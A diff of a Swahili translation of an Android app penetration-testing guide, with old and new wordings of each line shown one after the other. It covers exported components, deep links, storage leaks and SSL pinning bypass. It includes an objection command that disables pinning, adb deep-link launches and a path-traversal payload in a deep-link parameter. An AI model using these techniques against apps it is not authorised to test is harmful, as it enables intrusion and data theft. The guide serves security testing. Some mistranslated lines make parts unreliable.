- **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kutumia vipengele hivi.
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili inapaswa pia kuchunguzwa kwa makini.
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa.
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa matumizi mabaya, huku kukitolewa kipaumbele kwa jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo.
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikisisitiza umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
@ -76,7 +76,7 @@ Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango y
### Tapjacking
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati ikipitia mwingiliano huo kwa programu ya mwathirika.\
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\
Kwa kweli, inamfanya mtumiaji **kutojua kwamba anafanya vitendo kwenye programu ya mwathirika**.
Pata taarifa zaidi katika:
@ -87,7 +87,7 @@ tapjacking.md
### Task Hijacking
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa ina hatari ya hijacking ya kazi. Hii inamaanisha kwamba **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia ile halisi**).
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa ina hatari ya hijacking ya kazi. Hii inamaanisha kwamba **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
Taarifa zaidi katika:
@ -99,16 +99,16 @@ android-task-hijacking.md
**Hifadhi ya Ndani**
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla inatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
1. **Static Analysis:**
- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**.
2. **Dynamic Analysis:**
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizotengenezwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
1. **Uchambuzi wa Kimuundo:**
- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usioidhinishwa**.
2. **Uchambuzi wa Kijamii:**
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
**Hifadhi ya Nje**
Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, tahadhari fulani zinapaswa kuchukuliwa:
Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, tahadhari fulani inapaswa kuchukuliwa:
1. **Ufikivu**:
- Faili kwenye hifadhi ya nje ni **zinazosomeka na kuandikwa duniani kote**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizi.
@ -117,10 +117,10 @@ Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, t
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo.
3. **Kushughulikia Data kutoka Hifadhi ya Nje**:
- Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika.
- Kuhifadhi faili za kutekeleza au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunashauriwa kutoendeshwa.
- Ikiwa programu yako inapaswa kupata faili za kutekeleza kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisasa** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunashauriwa kutozwa.
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisasa** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine.
@ -143,20 +143,20 @@ Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama B
### Uthibitishaji wa Kificho
**Mchakato Mbaya wa Usimamizi wa Funguo**
**Mchakato Duni wa Usimamizi wa Funguo**
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa ngumu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa ngumu/kupangwa katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
**Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati**
Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi.
Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi wa uthibitishaji**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi.
### Ukaguzi Mwingine
- Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua zinazofaa.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake mwenyewe kabla ya kutekeleza** ili kuangalia kama imebadilishwa.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa.
- Tumia [**APKiD**](https://github.com/rednaga/APKiD) kuangalia ni compiler/packer/obfuscator gani ilitumika kujenga APK
### Programu ya React Native
@ -177,11 +177,11 @@ Soma ukurasa ufuatao kujifunza jinsi ya kufikia kwa urahisi msimbo wa C# wa prog
### Programu za Superpacked
Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshinikiza maudhui ya programu katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshinikiza aina hizi za programu... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshinikizwa kutoka kwa mfumo wa faili.**
Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshughulikia maudhui ya programu katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshughulikia programu hizi... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshughulikiwa kutoka kwa mfumo wa faili.**
### Uchambuzi wa Msimbo wa Kawaida
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vinavyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**.
@ -197,7 +197,7 @@ bypass-biometric-authentication-android.md
### Kazi Nyingine za Kuvutia
- **Utendaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Utekelezaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage`
- **Kazi za asili** zilizotangazwa kama `native`: `public native, System.loadLibrary, System.load`
- [Soma hii kujifunza **jinsi ya kurudi nyuma kazi za asili**](reversing-native-libraries.md)
@ -237,7 +237,7 @@ Shukrani kwa muunganisho wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Toleo la Bure:** Toleo la Kibinafsi, unahitaji kuunda akaunti. _Inapendekezwa **kupakua** toleo **PAMOJA NA**_ _**VirtualBox** ili kuepuka makosa ya uwezekano._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Toleo la Bure:** Toleo la Kibinafsi, unahitaji kuunda akaunti. _Inapendekezwa **kupakua** toleo **NA**_ _**VirtualBox** ili kuepuka makosa yanayoweza kutokea._)
- [**Nox**](https://es.bignox.com) (Bure, lakini haunga mkono Frida au Drozer).
> [!NOTE]
@ -247,19 +247,19 @@ Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kub
![](<../../images/image (277).png>)
Pia, kumbuka kwamba katika **mipangilio ya Android VM katika Genymotion** unaweza kuchagua **Bridge Network mode** (hii itakuwa muhimu ikiwa utaungana na Android VM kutoka VM tofauti na zana).
Pia, zingatia kwamba katika **mipangilio ya Android VM katika Genymotion** unaweza kuchagua **Bridge Network mode** (hii itakuwa muhimu ikiwa utaungana na Android VM kutoka VM tofauti na zana).
#### Tumia kifaa halisi
Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **ku-root**:
Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **kuyashughulikia**:
1. **Mipangilio**.
2. (Kuanzia Android 8.0) Chagua **Mfumo**.
3. Chagua **Kuhusu simu**.
4. Bonyeza **Nambari ya Kujenga** mara 7.
5. Rudi nyuma na utapata **Chaguzi za Wataalamu**.
4. Bonyeza **Nambari ya Ujenzi** mara 7.
5. Rudi nyuma na utapata **Chaguzi za Mwandamizi**.
> Mara tu umepakia programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
> Mara tu unapofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijani kwa kutumia MobSF uchambuzi wa kijani + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
### Kuvuja kwa Data zisizokusudiwa
@ -270,7 +270,7 @@ Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji**
> [!WARNING]
> Kumbuka kwamba kuanzia **baada ya Android 4.0**, **programu zinaweza kufikia kumbukumbu zao tu**. Hivyo programu haziwezi kufikia kumbukumbu za programu nyingine.\
> Hata hivyo, bado inapendekezwa **kutokuficha taarifa nyeti**.
> Hata hivyo, bado inapendekezwa **kutokufichua taarifa nyeti**.
**Kuhifadhi Kumbukumbu za Nakala/Pasta**
@ -278,38 +278,38 @@ Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika
**Kumbukumbu za Kuanguka**
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kuficha kwenye kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kufichua kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
Kama pentester, **jaribu kuangalia kumbukumbu hizi**.
**Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
**Taarifa za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usiofaa na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kuingilia trafiki ya programu** na kuangalia kama kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inashauriwa **kuingilia trafiki ya programu** na kuangalia ikiwa kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
### SQLite DBs
Programu nyingi zitatumia **maktaba za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest angalia **maktaba** zilizoundwa, majina ya **meza** na **safu** na data yote **iliyohifadhiwa** kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\
Maktaba zinapaswa kuwa katika `/data/data/the.package.name/databases` kama `/data/data/com.mwr.example.sieve/databases`
Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nywila** ndani ya programu bado ni **udhaifu**.
Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **neno la siri** ndani ya programu bado ni **udhaifu**.
Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema <table_name>`
### Drozer (Shughuli za Kutekeleza, Watoa Maudhui na Huduma)
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
Drozer ni chombo muhimu kwa **kufanya udhaifu wa shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini. .\
Drozer ni chombo muhimu kwa **kufanya kazi za kutekeleza zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
### Kufanya Udhaifu wa Shughuli Zilizotolewa
### Kutilia Mkazo Shughuli za Kutekeleza
[**Soma hii ikiwa unataka kufreshi kile kilicho shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
[**Soma hii ikiwa unataka kufreshi kile ni Shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia.
**Kupita Uthibitishaji**
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
[**Jifunze jinsi ya kufanya udhaifu wa shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities)
[**Jifunze jinsi ya kutumia Drozer kutekeleza shughuli zilizotolewa.**](drozer-tutorial/index.html#activities)
Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
@ -351,7 +351,7 @@ Huduma kimsingi ni kitu ambacho **kinaweza kupokea data**, **kuchakata** na **ku
[**Soma hii ikiwa unataka kukumbusha nini ni Vastika za Matangazo.**](android-applications-basics.md#broadcast-receivers)\
Kumbuka kwamba vitendo vya Vastika za Matangazo huanza katika njia `onReceive`.
Vastika za matangazo zitakuwa zikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
Vastika ya matangazo itakuwa ikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
[**Jifunze jinsi ya kutumia Vastika za Matangazo na Drozer.**](#exploiting-broadcast-receivers)
### **Kutumia Mipango / Viungo vya Kina**
@ -362,7 +362,7 @@ Unaweza **kufungua** mpango ulioelezwa kwa kutumia **adb** au **brower**:
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Kumbuka kwamba unaweza **kuacha jina la kifurushi** na simu itaita kiotomatiki programu ambayo inapaswa kufungua kiungo hicho._
```markup
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
@ -376,12 +376,12 @@ Ili kupata **code itakayotekelezwa katika App**, nenda kwenye shughuli inayoitwa
**Sensitive info**
Kila wakati unapotafuta deeplink hakikisha kuwa **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
Kila wakati unapotafuta deeplink hakikisha kuwa **haipati data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa deeplink na kuiba data hiyo!**
**Parameters in path**
Unapaswa pia **kuangalia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho wa vuln ulitumia njia sahihi) na vuln nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
Unapaswa **kuangalia pia kama deeplink yoyote inatumia parameter ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}` , katika kesi hiyo unaweza kulazimisha usafiri wa njia kwa kufikia kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Kumbuka kwamba ikiwa utapata mwisho sahihi ndani ya programu unaweza kuwa na uwezo wa kusababisha **Open Redirect** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **kuchukua akaunti** (ikiwa unaweza kubadilisha maelezo ya watumiaji bila CSRF token na mwisho ulio hatarini unatumia njia sahihi) na hatari nyingine yoyote. Maelezo zaidi [hapa](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
@ -390,22 +390,22 @@ Ripoti ya [bug bounty](https://hackerone.com/reports/855618) kuhusu viungo (_/.w
### Transport Layer Inspection and Verification Failures
- **Vyeti havikaguliwi kila wakati ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyojitegemea au, katika baadhi ya matukio, kurudi kutumia muunganisho wa HTTP.
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), kuruhusu washambuliaji kufungua data.
- **Majadiliano wakati wa handshake ya SSL/TLS wakati mwingine ni dhaifu**, yakitumia cipher suites zisizo salama. Uthibitisho huu unafanya muunganisho uwe hatarini kwa mashambulizi ya mtu katikati (MITM), ikiruhusu washambuliaji kufungua data.
- **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinathibitisha kwa kutumia njia salama lakini kisha kuwasiliana kupitia njia zisizo salama kwa shughuli nyingine. Njia hii inashindwa kulinda data nyeti, kama vile cookies za kikao au maelezo ya mtumiaji, kutokana na kukamatwa na wahalifu.
#### Certificate Verification
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
Tutazingatia **uthibitishaji wa cheti**. Uadilifu wa cheti cha seva lazima uhakikishwe ili kuongeza usalama. Hii ni muhimu kwa sababu usanidi usio salama wa TLS na uhamasishaji wa data nyeti kupitia njia zisizo na usalama zinaweza kuleta hatari kubwa. Kwa hatua za kina za kuthibitisha vyeti vya seva na kushughulikia hatari, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) inatoa mwongozo wa kina.
#### SSL Pinning
SSL Pinning ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
SSL Pinning ni kipimo cha usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Njia hii ni muhimu kwa kuzuia mashambulizi ya MITM. Kutekeleza SSL Pinning kunashauriwa kwa nguvu kwa programu zinazoshughulikia taarifa nyeti.
#### Traffic Inspection
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyosimbwa inaweza isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Ili kukagua trafiki ya HTTP, ni muhimu **kusanidi cheti cha zana ya proxy** (mfano, Burp). Bila kusanidi cheti hiki, trafiki iliyofichwa huenda isionekane kupitia proxy. Kwa mwongozo wa kusanidi cheti cha CA cha kawaida, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mwongozo huu**](make-apk-accept-ca-certificate.md).
Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Usanidi wa Usalama wa Mtandao ili kukubali cheti cha CA cha proxy. Hatua hii ni muhimu kwa kukagua trafiki iliyofichwa. Kwa maelekezo ya kubadilisha Usanidi wa Usalama wa Mtandao, [**rejelea mwongozo huu**](make-apk-accept-ca-certificate.md).
#### Bypassing SSL Pinning
@ -415,17 +415,17 @@ Wakati SSL Pinning inatekelezwa, kuipita inakuwa muhimu ili kukagua trafiki ya H
- Unaweza kutumia **Frida** (iliyozungumziwa hapa chini) kuipita ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Unaweza pia kujaribu **kuipita SSL Pinning kiotomatiki** kwa kutumia **MobSF uchambuzi wa dynamic** (iliyofafanuliwa hapa chini)
- Ikiwa bado unafikiri kuna trafiki ambayo hujapata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Ikiwa bado unafikiri kuna trafiki ambayo huwezi kukamata unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blog hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina juu ya kutambua na kupunguza udhaifu hizi yapo nje ya upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
